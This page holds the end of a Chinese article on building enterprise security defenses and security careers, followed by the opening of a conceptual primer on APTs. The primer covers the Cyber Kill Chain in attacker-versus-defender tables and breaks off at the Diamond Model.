安全建设,又可以叫做同步建设,一般是具体实现安全防护,业务赋能的具体实施过程,用简单一点的话就是做了什么?

其实进行安全建设的开始首先要考虑企业自身安全投入情况以及防护情况,我从最常见的纵深防护说起吧,常见的安全建设思路是堆硬件,这常见于传统行业,而大型互联网企业也会堆硬件,但堆得规模会较传统行业大很多,同时会存在实施细节,结构上的不同,常见的安全建设模型有2种:PDR和P2DR,第二种会多一个Policy:策略,或者有的安全企业会把其中一块划成Prevention阻断,具体而言,不想做太大的争执。

作者主张的框架是自适应安全,而实现的具体思维是基于企业资产和情报去实现!怎么去实现自适应安全呢?

1.完成重要区域的基础防护,也就是防护能力

防护能力大概分成4个层级:基础防护,纵深防护,感知防护,智能防护。

01.基础防护体系:对应边界防护体系专注在入侵防护,可能不仅限于边界区域,但主要目的就是为了阻断,一般采用的是规则库方式,特点就是规则库越大,越准确,效果越好

02.纵深防护体系:又叫立体防护体系从内容外立体防护,不仅限于Web层,本质上Web层属于应用层,所以可以参考OSI/RM7层模型,一般考虑是从应用层,到传输层,再到网络层,后续接入服务器基础设施,再到目的地数据层,层层防护,而防护设备种类一般是:

应用层防护:WAF,ADS,应用层漏洞管理平台

网络层防护:NIDS,IPS等

传输层:加密证书,签名等

服务器层:补丁管理系统,防病毒,HIDS,资产管理平台,基线配置平台,主机漏洞管理平台等

数据层:DLP,数据库审计,数据库防护墙,数据库漏洞扫描

03.感知防护体系:参考360塔防体系,在纵深防护体系中,增加SOC运营中心,SIEM,加强纵深防护体系整理协调能力,主要方向:内网安全和外网风险探测,具体方向一般在与:内网的资产安全情况,内网资产管理情况,外网威胁情报,舆情等,手段不受局限,主要目的是对内网的整体情况做到7*24的状态记录和感知,至于预测部分需要后续第四防护体系的加入,外网主要是监测外部风险,如漏洞,APT组织,暗网情报,同行业安全动态等等,常使用的技术是大数据分析,云,机器学习等,

04.智慧型防护体系:在纵深防护体系和感知防护体系基础上增加风险预测能力,常用的引入技术是机器学习,人工智能等,主要目的在于对风险检测实现预测,做到真正的态势感知,目前还未有成熟的安全方案,就目前产品之间的协同能力,依旧未在第3层次感知防护体系得到解决,所以只能是后续期待的安全进化,由此会面对的风险级别也将会更高,人工智能对抗将成为关键;

就目前安全行业发展和未来技术,硬件革新,做到纵深防护基本上就可以保证阻拦大部分的常规攻击

2.梳理资产和风险分析进行过2个大型政企,金融行业的项目,以及一个甲方的安全建设运营之后,项目开始,我异常喜欢做的一件事就是调研和获取数据,主要是资产表,人员组织,网络结构这三块,这三块内容将有助于你梳理资产,对资产进行赋值,建模,这里的赋值可以参考风险评估:《GB/T 20984-2008 信息安全技术 信息安全风险评估规范》,但在后面接下来要提到的风险分析会涉及两个方面:

01.常规的风险评估,这一块我不喜欢做,或者说比较形式,但就其风险评估的思想而言,并没有什么不对,只是经过一段时间的变化,觉得效果一般,实施这一部分参见风险评估的国标文档即可;

02.安全防护的差异分析:这个点是我就目前项目实施和交流所思考的一个点,那就是安全防护是否有效,同理,安全检测是否有效?响应是否有效?所有的安全措施应该进行安全评估和差异分析,应该有一个暂定的目标属性和值,所以这里就是要对之前安全防护进行测试,最简单的思路就是攻击,攻击应用,看WAF和IPS的阻断和响应,攻防演练测试应急响应的成熟度,上传病毒木马检测AV的识别能力,以及对IDS的异常检测能力进行分析;很多情况下,这些防护都不是很能满足企业防护要求,很多铁盒子也只是铁盒子,所以,如果没有对这一块进行处理,那么现在你有很多事情要做,去检测防护的真实情况。

03.建立内部,外部情报系统其实换句话来说就是建设SIEM和蜜罐,这是最简单的思路,具体到企业可以是对应用日志进行收集,自动化实现Web失陷检测,对终端,服务器日志进行收集,分析服务器,终端的安全状态;对安全日志进行收集联动,对流量进行分析,过滤,使用沙箱对文件进行检测,然后将这些数据在通过一个统一的情报平台进行梳理,分析,产生内部使用的FINTEL;

同时,使用成熟的蜜罐技术对外进行威胁捕获,联动行业其他企业,安全产商,建设外部情报系统。内外结合,整体感知。

04.定期检查:所有的建设完成之后,难免会出现异常情况,比如机器宕机,网络不通,存储不足之类,要及时处理和进行巡检,这也是保障安全防护的手段

3.安全运营

安全领域有很多能够将安全运营玩到炉火纯青的地步,之前也有幸和一位安全运营进行过交流,每个人对于运营的姿势和方法不尽相同,我这里主要提一下自身关于运营的想法;

参考欠钱总的“我理解的安全运营”一文,安全运营是为了实现安全目标,提出安全解决构想、验证效果、分析问题、诊断问题、协调资源解决问题并持续迭代优化的过程;这个观点我个人是非常赞同的,尤其是关于安全运营是一个过程化的实现,就我目前安全运营接触的面可能有所局限,我将安全运营分成1个核心:“发现问题,解决问题”,同时将运营简单分成三个部分:获取数据,处理分析,优化;

发现问题:前面提到的构想,验证,分析,诊断是基于实验思想的问题分析过程,也就是发现问题

解决问题:解决问题就是通过获取当前的安全数据,关于应用,网络,系统,安全防护等等,对这些数据进行分析处理,,最后得出解决问题的初步思路和优化方案

关于安全运营,其实有2个点会比较常见,这两个方面就是数据分析和可视化,此处不做过多的涉及。

四、职业发展

每个人从业之后或多或少都会遇到自己的桎梏,又或是瓶颈,有的人时间很长,有的人很短,有的人的天花板很硬,有的一捅就破。

其实本不想提职业路线这一块的,首先是自身经验远不如10年从业经验的“妖孽”,其次是安全行业每个人都像是一个流派,回到之前那句话“不管黑猫白猫,只要能抓到老鼠的猫就是好猫”,不管剑宗,气宗,能够保护网络安全的就是好的路线;

这里简单提一下自身的路线想法,仅供参考,不适用于很多人,偏乙方的安全路线:

1.基础第一:我是网络工程专业,涉及了网络,操作系统,软件工程;这一块的基础不能很早的就显现出来,所以你必须不断的夯实基础

2.项目驱动:我刚毕业,以及目前手上都是1年期的全覆盖的项目,涉及企业全生命安全防护,这里要提的就是,安全制度,国标,行标虽然很难看,但是有的时候可参考性很强,适合进行了解

3.开发甚至研发能力:很多时候你遇到的安全问题可能没有解决方案,此时就需要你自行进行需求分析,开发相应的解决方案

安服具体可以参考安全服务工程师(乙方),虽然不全,但基本上已经涉及,注意以上只是安服层面的,实际上当你真正去做项目或者去实现甲方安全的时候,你需要具备以下能力:

1.基础的网络,系统,运维,安全能力

2.基础的安全规划能力,至少能够预测短期半年到1年的安全和业务之间的协调缺陷,做好相应的规划

3.基础的安全建设能力,能够使用开源系统建设企业安全,能够优化商业安全系统

4.基础的安全运营能力,排查风险,收集需求,持续改进

实现这一块的能力基本上要通过项目去系统化,工程化实现,甲方自身项目,或者乙方项目皆可

任何人都会有瓶颈,有的人可以看到,有的人看不到而已,又或是自我满足,简单提一下自身目前出现的瓶颈,也可能是做安服常见的瓶颈吧;

1.技术能力,安服的大多数时间都是跟着项目实施为主,所以此时需要你及时去面对自身状态,前期的安服有助于你去建立企业安全的金字塔思维,但时间过多会对你的时间和精力造成消耗和浪费,项目实施时间建议在2-3年左右,在后续就需要考虑进阶,这里提的是技术能力,也就是通过代码去实现安全问题解决的能力,这里代码需要的是能够使用开源或者自研的代码去完成

2.非技术能力:就是常见的沟通,汇报,安全规划,审计等非技术实现,主要依据个人经验的能力。

安全职业的发展大致可以参考这张图:

选自:君哥的体历:安全从业人员的职业规划

但最后不得不提一下:建议从技术能力入手,在去接触非技术能力,因为技术能力会比非技术能力更加能够有成效。

五、写在最后

写到最后,其实有好多想说的话没有说,有好多想倾诉的事情没有做,安全行业发展到现在,有着她自己的成长过程,她不是很完美,但却可以变得完善,虽然其中不乏很多缺陷,而造成这些缺陷的就是组成其中的“细胞”又或是没有进化完全的“基因”。

安全圈或许是不完美的,有或者说,没有圈子是乌托邦的,但依旧是需要我们去完善的,依稀记得《找到你》中那句话:母亲因为孩子而升华。或许圈子也需要我们不断的参与和清洗才能变得更加的完善。

转眼间,不知不觉就进入的安全行业3余载,结识了很多前辈和同行,他们也在不断的发挥着自己的力量,去实现自己心中的目标和理想,虽然这条路会很长,很崎岖,我们却不断的前行。

最后,感谢Secquan,感谢信安之路,感谢这些年的同行的帮助和分享,路漫漫其修远兮,吾将上下而求索。

六、推荐资源

书籍:

《互联网企业安全高级指南》

《企业安全建设入门-基于开源软件打造企业网络安全》

《情报驱动应急响应》

《防患未然:实施情报先到的信息安全方法与实践》

链接:

https://xz.aliyun.com

https://www.sec-wiki.com/

https://github.com/bloodzer0/Enterprise_Security_Build–Open_Source

https://github.com/AnyeDuke/Enterprise-Security-Skill

https://www.freebuf.com/

https://mp.weixin.qq.com/s/1Iry620hCkJ8sHA626T3Dg

https://www.sec-un.org/

剩下的一些多数会同步在个人github上:https://github.com/AnyeDuke/Enterprise-Security-Skill

*FreeBuf官方报道,未经许可禁止转载

底图.gif

Whats APT:浅谈APT

横看成岭侧成峰,远近高低各不同

APT(Advanced Persistent Threat):高级持续威胁,主要特点是利用手段高,攻击持续,高危害。换句话说其实当于持续性高级渗透,加上恶意的目的或者谋取利益的想法时,就成了威胁,而APT防御一般出现于酒足饭饱之后。

题主并不是APT专家,只是每个人在不同时机看的东西不一样,只想在此之际,科普一下,分享一些想法,欢迎指正,批评。

文章结构(目录):

0×00.APT的历史起源

0×01.APT到底是什么?

0×02.APT的一些知名论坛,团体

0×03.APT有哪些攻击阶段?

0×04.APT分析模型

0×05.被透露的APT攻击

0×06.一些APT信息获取渠道

0×07.应对APT的思路或者想法

0×00.APT的历史起源

APT这个词汇最早起源于:2005,2005年英国和美国的CERT组织发布了关于有针对性的社交工程电子邮件,放弃特洛伊木马以泄露敏感信息的第一个警告,尽管没有使用“APT”这个名字。但 “先进的持续威胁”一词被广泛引用,2006年的美国空军Greg Rattray上校经常被引用为创造该术语的个人。

后来,在Stuxnet震网事件就是专门针对伊朗的核计划的黑客攻击就是一个APT攻击例子。

在计算机安全领域以及越来越多的媒体中,APT这个术语几乎总是用来指向针对政府,公司和政治活动家的黑客攻击的高级持续模式,而且也延伸到涉及到群体这些攻击背后。作为一个术语,高级持续威胁(APT)可以被转移焦点到攻击出现次数。PC World报告称,从2010年到2011年,特别针对高级别目标的网络攻击增加了81%。

一个常见的误解是APT只针对西方国家。西方国家可能会更多地宣传针对西方国家的技术性APT,但许多国家的行为者都将网络空间安全作为收集有关个人和群体的情报的手段。在美国,网络司令部的任务是协调美国军方,应对高级持续网络威胁,也就是APT攻击。

同时,许多消息来源都觉得一些APT组织实际上隶属于或者代表着民族和国家。否则很难持有大量信息和资源,三类机构容易面临高级持续威胁的高风险,即:

高等教育

金融机构

政府机构

实际上,一个APT是有一套隐匿和持续攻击的框架的,往往针对特定的实体由一人或多人策划(一般是多人)。APT通常针对高价值目标出于商业或政治动机进行实施的。APT在长时间的攻击中依旧会尽可能的保证高度隐蔽性。而“高级”意味着使用恶意软件来攻击系统漏洞的复杂技术。“持续”过程表明,APT攻击组织外部和控制系统正在持续监测和提取特定目标的数据。“威胁”过程表明攻击会损害目标利益。

APT通常是指一个组织,甚至可能一个政府支持下的组织,因为APT团体是一个既有能力也有意向持续而有效地进行攻击的实体。所以APT通常用来指网络威胁,特别是使用互联网进行间谍活动,利用各种情报搜集技术来获取敏感信息,但同样适用于诸如传统间谍活动或攻击等其他威胁。其他公认的攻击媒介包括受感染的媒体,供应链和社会工程。这些攻击的目的是将自定义的恶意代码放在一台或多台计算机上执行特定的任务,并在最长的时间内不被发现。了解攻击者文件(如文件名称)可帮助专业人员进行全网搜索,以收集所有受影响的系统。个人,如个人黑客,通常不被称为APT,因为即使他们意图获得或攻击特定目标,他们也很少拥有先进和持久的资源。

0×01.APT到底是什么?

APT:高级持续威胁(Advanced Persistent Threat),普遍认可的定义是,利用各种先进的攻击手段,对高价值目标进行的有组织、长期持续性网络攻击行为。也就是说很难去确定是不是APT攻击,只能从已发生过的APT攻击事件,分析其特点,进而与上述解释性概念相关联,得出APT攻击的一般规律。大致有这些规律:

1)高度目的性

2)高度隐蔽性

3)高度危害性

4)目标实体化

5)极强的持续性

APT攻击大致包含以下内容:

目标 – 威胁的最终目标

时效性 – 探测和访问系统的时间

资源 – 事件中使用的知识和工具的级别(技能和方法将会影响到这一点)

风险容忍度 – 为了不被发现而受到威胁的程度

技巧和方法 – 整个活动中使用的工具和技巧

行动 – 威胁或许多威胁的确切行动

攻击起点 – 事件发生点的数量

参与攻击的人数 – 事件涉及多少个内部和外部系统,有多少人的系统具有不同的影响/重要性权重

信息来源 – 通过在线信息收集来识别关于任何特定威胁的任何信息的能力(可以通过一点积极主动的方式找到)

通过拆开APT(Advanced Persistent Threat)来进行分析,我们可以这样看待一个APT:

高级Advanced- 威胁背后的运营商拥有全方位的情报收集技术。这些可能包括计算机入侵技术和技术,但也延伸到传统的情报收集技术,如电话拦截技术和卫星成像。虽然攻击的各个组件可能不被归类为特别“高级”的攻击技术(例如恶意软件),从通常可用的自己动手构建的恶意软件工具包,或者使用容易获得的漏洞,APT攻击人员通常可以根据需要访问和开发更高级的工具。他们经常结合多种定位方法,工具和技术,以达到并保持对目标的访问。

持续Persistent - APT攻击一方优先考虑某项具体任务,而不会投机取巧地寻求获取财务或其他收益的信息。这个意味着攻击者是由外部实体引导的。攻击的针对性是通过持续监控和互动来实现的,以达到既定的目标。这并不意味着需要不断的攻击和恶意软件更新的攻势。事实上,“低级”的做法通常更成功。如果APT攻击方失去对目标的访问权限,他们通常会重新尝试访问,而且通常是成功的。APT攻击方的目标之一是保持对目标的长期访问,而不会仅仅满足于短时间的访问权限。

威胁Threat - APT是一个威胁,因为他们有能力和意图。APT攻击是通过团队协作来执行的,而不是通过无意识和自动化的代码。并且APT攻击方都有一个特定的目标,同时他们技术精湛,积极主动,有组织有目的,资金充足,所以有大多数的APT攻击都是针对其他国家的,也被视为一种间谍活动。

通过这些APT攻击特征,可以得到以下结论:一是高价值信息网络系统是实施APT攻击的主要目标,也是应重点设防目标;二是攻击过程不可能采用单一攻击技术,防护技术应综合运用;三是攻击持续时间长,重要系统应长期设防;四是社会工程学被广泛使用,必须内防与外防并重,技术防范与管理制度并举的防范策略。

最后,用我自己的话总结一下:一些目的性极强,攻击方式极为先进,复杂多样,至少是在漏洞圈子公开之前就已经利用了,最后是攻击时间跨度较长,攻击隐蔽的攻击。最好的判断方式就是根据业务级别来确定被攻击资产的重要性,把每一次异常都当成APT是保持一个安全攻城狮应有的意识!(但不要当成了APT事件处理了)

0×02.APT的一些知名论坛,团体

目前业界比较流行的防御APT思路有三种:

1、采用高级检测技术和关联数据分析来发现APT行为,典型的公司是FireEye;

2、采用数据加密和数据防泄密(DLP)来防止敏感数据外泄,典型的公司是赛门铁克;

3、采用身份认证和用户权限管理技术,严格管控内网对核心数据和业务的访问,典型的公司是RSA。

至于其他说什么人工智能,机器学习防止APT,都还在发展阶段,而题主觉得防御应该是从基础传统防御到到云大物移四个层面,最后到人工智能,这些都是基础环境,技术层面的防御措施。

0×03.APT有哪些攻击阶段?

所谓攻击阶段只是在进行黑客攻击中典型的攻击手段和形式,不一定界限清晰,但都有迹可循。

题主最早了解阶段是从我们最常见的大规模,也是比较简单的一个类似于黑客渗透攻击阶段模型:信息收集,攻击阶段,提权阶段,后渗透阶段,销声匿迹。

但APT攻击会更加系统,分布,协作,一般分成信息收集,武器化部署,传递载荷,利用,安装,命令和控制,执行

而杀伤链一般是6个阶段:发现-定位-跟踪-瞄准-入侵-完成,APT攻击模型Cyber-Kill-chain与之对应

0×04.APT分析模型

这里借用两个分析模型,一个是kill-chain七层模型,一个是钻石模型

4.1Cyber-Kill-Chain攻击杀伤链

对于混迹于安全圈的我们来说,洛克希德-马丁的网络杀伤链(Cyber-Kill-Chain,也被我们称网络攻击生命周期),专门用来识别和防止入侵。然而,攻击模式会一直变化,就拿Valut7来说,里面提到的攻击模型,都是在08年就已经开始在使用,而却在16年,17年才被曝光,可想而知,攻防之间的时间差是多么的严峻,所以我不给予希望一个Kill-Chain能够带来多大的安全防护,而重在开拓视野,最好能未雨绸缪,如今,Valut8已经曝光,企业安全,似乎远远没有我们想象的那么安静。

网络攻击杀伤链模型用于拆分恶意软件的每个攻击阶段,在每个阶段有对应的特征用于识别,但用我后面会提到的一句:堵不如疏,殊途同归,具体如何,后面会具体说说我自己的理解,现在先简单说说Cyber-Kill-Chain的每个阶段。

4.2什么是网络攻击杀伤链(Cyber-Kill-Chain)?

“杀伤链”这个概念源自军事领域,它是一个描述攻击环节的六阶段模型,理论上也可以用来预防此类攻击(即反杀伤链)。杀伤链共有“发现-定位-跟踪-瞄准-打击-达成目标”六个环节。

在越早的杀伤链环节阻止攻击,防护效果就越好。例如,攻击者取得的信息越少,这些信息被第三人利用来发起进攻的可能性也会越低。

洛克希德-马丁公司提出的网络攻击杀伤链Cyber-Kill-Chain与此类似,本质是一种针对性的分阶段攻击。同样,这一理论可以用于网络防护,具体阶段如下图所示:

Clipboard Image.png

Cyber-Kill-Chain

这就像传统的盗窃流程。小偷要先踩点再溜入目标建筑,一步步实行盗窃计划最终卷赃逃逸。要利用网络杀伤链来防止攻击者潜入网络环境,需要足够的情报和可见性来明了网络的风吹草动。当不该有的东西出现后,企业需要第一时间获悉,为此企业可以设置攻击警报。

另一个需要牢记的点是:在越早的杀伤链环节阻止攻击,修复的成本和时间损耗就越低。如果攻击直到进入网络环境才被阻止,那么企业就不得不修理设备并核验泄露的信息。

要想明确杀伤链技术是否适合自己的企业,不妨通过杀伤链模型的几个阶段入手,来发现企业应当核实的问题。

4.3网络攻击杀伤链的各个阶段

4.3.1RECONNAISSANCE 识别目标,信息收集

在这个阶段,犯罪分子试图确定目标的好坏。他们从外部了解企业的资源和网络环境,并确定是否值得攻击。最理想的情况是,攻击者希望目标防备薄弱、数据价值。罪犯可以找到的信息门类,以及这些信息如何被使用。

企业的信息价值往往超出他们想象。雇员的姓名和详细信息(不仅是企业网站,而且包括社交网站的信息)是否在网端存储?这些信息可以用来进行社会工程用途,比如,让人们透露用户名或密码。企业的网站服务器或物理位置是否接入网络吗?这些也可以用于社会工程,或帮助攻击者缩小企业环境漏洞的寻找范围。

这个层面上的问题很难处理,社交网络的普及让它变得尤为棘手。将敏感信息隐藏起来是一个廉价的改善方式,虽然这也增加信息调用的时间成本。

攻击方 防御方
特点 攻击方的攻击计划阶段。他们进行研究,以了解其目标,使他们能够实现自己的目标 探测侦察,因为它发生是非常困难的,但是,当守军发现侦察 – 事后甚至好 – 它可以揭示了攻击方的意图。
常用攻击/防御方式 获取电子邮件地址,确定员工社交媒体网络,收集新闻稿,合约奖励,会议出席者名单,探索放在公网上运行的服务器 收集网站访问者日志警报和历史搜索,与网站管理员合作对其现有浏览器进行分析,建立浏览异常、行为独特的检测机制,优先周围的防御,特别是基于技术和人的侦察活动。

4.3.2WEAPONIZATION 武器化准备工作

这些阶段是攻击者用工具攻击被选目标的具体过程,他们收集的信息将被用于恶意行为。他们手头的信息越多,社会工程攻击就越无缝可击。通过员工在LinkedIn上的信息,他们可以用鱼叉式钓鱼获得公司内部资源。或者,他们可以把远程访问木马提前嵌入可能会录入重要信息的文件里,以诱使接收者运行它。如果他们知道用户或服务器运行的软件信息,比如操作系统版本和类型,他们在企业网络里渗透和布置的把握就大大增加。

就这些阶段的防御而言,企业应当参照标准安全专家的建议去做。

企业的软件是否达到最新?这需要具体到每台终端上的每个应用。大多数公司都有某个小角落还用着老式台式机,系统仍然用的是Windows 98。如果这台设备接入网络,无异于对攻击者门洞大开。

企业使用电子邮件和网页过滤功能吗?电子邮件过滤可以有效阻止攻击中常用的文档类型。如果企业的文件必须用某种标准发送,比如密码保护的ZIP文件,这可以让用户了解文件是否无误。网页过滤则可以防止用户访问已知的不良网站或域名。

企业禁用USB设备吗?从安全的角度来看,让文件不需许可就运行绝非什么好主意。最好在运行前,确保给用户有时间暂停和思考他们所看到的情况。

企业使用端点保护软件的最新功能吗?虽然端点保护软件不是为了应对新型针对性攻击而设计,但是它们常常根据已知的可疑行为或软件漏洞来捕捉威胁。

攻击方 防御方
特点 这是攻击方准备工作和分步阶段。恶意软件的生成可能不会用手工完成的-他们使用自动化的工具。一系列武器化准备的恶意软件和攻击再加上武器化的“军火商”,直到攻击达到payload。 这是捍防御方应该了解的重要阶段。虽然它不能检测到攻击部署的发生过程,但这是通过分析恶意软件的一个部分:针对攻击部署的工具检测,这类检测往往是最持久的和有弹性的防御。
常用攻击/防御方式 获得“军火商”的帮助,无论是在公司内部还是通过公共或私人渠道获得,基于文件的攻击,选择“钓鱼”文件呈现给受害者,选择合适的后门植入,命令控制目标基础设施,设计一个特定的“任务ID”并在恶意软件嵌入,编译和后门:工具payload。 进行全面的恶意软件分析 – 而不仅是payload,还应该包括payload的实现,建立攻击源检测 – 找到新的活动和新的有效载荷仅仅是因为他们重新使用攻击工具包(“军火库”),分析恶意软件的时间线:什么时候创建的?什么时候使用的?有时新的恶意软件是由旧的恶意软件合成的,但新的恶意软件可能就意味着活跃,针对性,收集文件和元数据供日后分析,确定攻击“军火库”的来源:可以通过分享常见的APT活动,或者内部共享。

4.3.3传递:传递载荷,启动运行

攻击方 防御方
特点 在攻击方向目标传达了恶意软件之后。都将开始执行进一部分攻击操作。 这是防御方阻止该操作的第一个也是最重要的机会。有效性的关键措施是阻断入侵尝试和工具传递的重要部分
常用攻击/防御方式 攻击方控制下传递载荷:直接针对Web服务器,攻击方释放载荷:恶意电子邮件,恶意软件的USB存储,社交媒体互动,“水坑式”钓鱼网站攻击 分析和理解载荷传递的介质 – 关注上层的基础设施主要是关键基础设施,了解目标服务器和相关人员,他们的角色和责任,可用的信息,根据攻击方载荷情况推断攻击方的意图,分析“军火库”攻击载荷在传递区域检测新的恶意代码,分析在一天中的什么时间段对方开始行动,收集电子邮件和网络日志,还原取证。即使后期检测到入侵,防御方必须能够确定何时以及如何开始传递载荷。

4.3.4利用 获取目标访问权限

攻击方 防御方
特点 攻击方利用一个漏洞来获得访问权限(实际上可能会运用多个漏洞)。“0day”指的就是此步骤中使用的攻击漏洞。 这里部署的一般是传统的防御措施,同时针对“0day”,“1day”,“Nday”等类型的漏洞增加弹性,定制化的防御能力
常用攻击/防御方式 软件,硬件,或人类的脆弱性,获取或发现“0day”漏洞,攻击方利用基于服务器的安全漏洞,受害者触发漏洞:点击恶意电子邮件,点击恶意链接 用户安全意识培训和员工的电子邮件测试。以及邮箱服务器防护,Web开发人员的对于安全编码培训,定期扫描漏洞和渗透测试,端点防御措施:限制管理员权限,使用Microsoft EMET,自定义端点规则阻断shellcode执行,端点登录审计过程,取证确定攻击源。

4.3.5安装: 在目标建立堡垒

攻击方 防御方
特点 通常情况下,攻击方安装一个持续后门或植入,可以长时间访问目标的工具 终端防御检测和记录“异常”安装活动。恶意软件分析过程中分析安装阶段的行为可以缓解攻击。
常用攻击/防御方式 Web服务器上安装木马后门,在目标客户端安装后门和植入,在目标上创建持续运行的服务,或者自启的服务和进程等等,有些攻击者会让一些“时间点”的文件,让恶意软件看起来它就是操作系统安装的一部分。 一个好的建议:关注通用软件安装路径,例如RECYCLER,了解恶意软件是需要特权账户还是一般用户的权限,终端接入审计:去发现异常文件的创建,所有的摘录证书,主要是包含签名的可执行文件,了解恶意软件的编译时间,以确定它是旧的还是新出现的恶意软件。

4.3.6命令和控制(C2): 远程控制和植入

一旦威胁在企业的网络环境里扎根,它的下一个任务是给老窝打电话并等待指示。它可能下载额外的组件,更有可能的是通过C&C通道联系一个僵尸网络主控机。无论哪种方式,这都要求网络流量,这意味着企业必须扪心自问:防火墙是否设置了新项目进行网络通信的警报?

如果威胁已经实现了这些,它将对机器进行更改并将耗费IT工作人员对大量精力。有些公司或行业要求诊断受影响的机器上哪些数据被窃取或篡改。受影响的机器需要进行清洗或重置。如果数据已经备份,或者有可以快速加载到机器的标准企业模式,修复工作的成本和时间损耗就会有所降低。

有些攻击会另辟蹊径

去年的攻击状况已经充分证明了一点:攻击者不会严格按照游戏流程来——他们可能跳过步骤、添加步骤,甚至重复之前的步骤。最近的一些最具破坏性的攻击事件都是如此,这些攻击之所以能绕过安全团队耗费多年精心打造的防御体系,是因为它们有不同的流程安排。

“符合洛克希德-马丁公司的杀伤链的恶意行为被重点关注,这也让某些攻击隐形了。”Kudelski Security的全球管理服务副总裁Alton Kizziah说。

数据中心安全的领军者Alert Logic的合伙人、产品营销高级经理Misha Govshteyn指出:“杀伤链从来不能彻底符合我们看到的种种攻击。”

根据2017年威瑞森的数据泄露调查报告,今年,网络程序攻击成为了数据泄露的最常见形式,在数据泄露案例中占到了近三分之一。常见方法是利用应用程序自身的漏洞。最近的Equifax数据泄露事件就是典型例子。这种攻击很难发现。在两个月里,Equifax未在网站上发现可疑的网络流量。“通常到了数据外泄的时候,企业才能察觉。”Positive Technologies的网络安全弹性主管Leigh-Anne Galloway说。“或者,可能需要一个第三方的实体,例如某个客户,来提醒企业出了问题。”Equifax泄露案可以追溯到Apache Struts Web服务器软件中的一个漏洞。如果公司安装了这个漏洞的安全补丁,这个问题可能会避免,但是有时软件更新本身就是恶意攻击的桥梁,9月发生的CCleaner被黑事件就是一例。零日漏洞也是大麻烦。根据Contrast Security的共同创始人兼首席技术官杰夫·威廉姆斯的观点,平均每个软件应用和api拥有26.8个严重漏洞。“这是一个惊人的数字,”他说。“公众对Equifax感到愤怒,但事实是,几乎所有的公司在应用程序层都是不安全的。我们发现,世界各地有成千上万的IP地址正在进行的应用攻击尝试,这一现象正在扩散。”

要抵御这类攻击,企业必须缩短补丁的安装延迟。“过去的时候,直到应用程序漏洞被披露后的数周或数月,针对性的攻击才会出现,”他说,“但是今天,安全窗口已经只有一天左右,而在2018年,这一时间可能进一步缩减到几个小时。”他补充说,企业也需要开始将安全控件直接嵌入到应用程序里。这被称为应用程序的运行自保,Gartner预测这一细分市场的复合年增长率为9%。

“安全需要更贴近应用程序,需要深入了解程序的核心进程和内存使用量,”Virsec Systems的创始人和首席技术官Satya Gupta说。“新的流程控制技术将嵌入到应用程序层面,能理解应用的协议和环境,可以将可接受的应用程序流程绘制出来(就像谷歌地图)。如果应用程序应该从A点走到B点,但是却出现了一段意外的路程,那么肯定出错了。”

攻击者也可以利用被泄露的身份信息或强度弱的密码。这一过程不需要安装恶意软件,也不用与C&C服务器通信,不会产生横向操作。“寻找一份泄露的数据库或Amazon S3数据意味着攻击可以简便完成,从而避免和防御者交锋。”Obsidian Security的首席技术官Ben Johnson说。根据RedLock本月发布的一份报告,53%的组织使用Amazon S3等云存储服务,这至少导致了一个意外结果,即数据暴露在公众面前。今年夏天的早些时候,Skyhigh Networks报道称,7%的企业使用的所有AWS S3数据可以无限制访问,另有35%的企业未对数据加密。由于数据是通过合法渠道传出,数据防泄露可能无法检测这种行为。Govshteyn说:“企业需要专门的工具来保护针对网络应用程序的攻击。”DOS攻击也难以被杀伤链解释。“攻击者仍需选择目标,所以必须进行侦察阶段。”Cybereason的首席安全官Sam Curry说。但是在准备之后,攻击者将直接跳转到中断阶段。他补充说DOS攻击也可能只是攻击的第一步,用来掩盖其他恶意行为。“当系统崩溃时,攻击者可以创建一个漏洞,”他说,“或者创建一个高信噪的筛选器,来掩盖痕迹或破坏系统的信号发现能力。”他说,攻击者也可以添加步骤到游戏流程里。例如,他们可以花时间清理痕迹、设置中断、传播虚假数据,或安装未来用得上的后门。他们也可以重新安排各步骤的顺序,或者重复之前的步骤。这不是一个简单的线性过程。这通常更像树状或根系的分支和蔓延,这一过程很复杂,会发生很多事情。

攻击方 防御方
特点 恶意软件将打开通信信道,以使攻击方远程操作目标。向C2目标开放双向通信通道基础设施; 防御的最后一个最佳时机-阻止C2操作:“通过阻断C2通道”。如果攻击方不能通过通信信道发出命令,相应的防御方就可以实现阻断C2攻击
常用攻击/防御方式 最常见的C2渠道涉及web,DNS和电子邮件协议,C2基础设施可能被攻击方或目标自身所拥有 通过全面的恶意软件分析工具去发现部署和执行了C2的基础设施强化网络:汇总所有存在的互联网点,规范所有类型的代理流量(HTTP,DNS等);自定义C2模块:网络代理协议;代理类模块,包括“none”或“未分类”的域;DNS穿透和域名服务器毒化防御;实施开源研究发现新的C2攻击方式。

4.3.7行动:使命必达,不达目的,誓不罢休

在拒绝服务攻击案例中,中断不一定是攻击的最后一步。在攻击者成功地破坏、瘫痪或渗入系统后,攻击者可以重复这一过程。也可以转移到另一个阶段——盈利。Preempt Security的首席执行官 Ajit Sancheti 认为,攻击者可能采取任意形式的组合。比如,他们可以通过破坏基础设施来进行广告欺诈或发送垃圾邮件、向企业勒索赎金、出售他们在黑市上获得的数据,甚至劫持基础设施出租给其他罪犯。“攻击的盈利已经急剧增加。”他补充说,比特币的使用让攻击者更简便、安全地得到钱,这导致了攻击动机的变化。不同群体的数量参与也让黑市上被盗数据的消费变得更加复杂。这也为企业、执法部门和其他组织创造了合作破坏这一过程的机会。以被盗的支付卡信息为例。“一旦信用卡数据被盗,这些数据必须被测试、出售、用于获取商品或服务,反过来这些商品或服务必须转换为现金。”Splunk公司的安全研究主管Monzy Merza说。这一切都早已超出了传统网络杀伤链的范畴。黑市生态系统也在影响了网络攻击周期中的攻击准备环节。攻击者们会分享身份凭证列表、漏洞或被修改的应用程序。

攻击方 防御方
特点 激活键盘接入激活键盘接入,入侵者完成任务的目标。接下来会发生什么将取决于谁是在键盘上。 较长的攻击方有CKC7访问,更大的影响。包括网络数据包捕获,进行损失评估 – 防御方必须通过取证去尽可能快地检测到这一阶段
常用攻击/防御方式 收集用户凭据,权限提升,内部侦查,横向内网渗透,收集和传出数据,破坏系统,覆盖或破坏数据,偷偷修改数据 制定事件响应流程,包括行政参与和沟通计划。检测数据泄露,横向传输,未经授权证书的使用。即时响应分析反馈所有事件告警。预先部署监控节点端点快速分流。网络包捕获,还原攻击活动。让专家进行事件损害评估

4.4钻石模型

钻石模型是一个针对单个事件分析的模型,核心就是用来描述攻击者的技战术和目的,具体的钻石模型如下图所示:

Clipboard Image.png

钻石模型

钻石模型由三部分组成:置信度、元数据、社会-政治影响和技战术组合

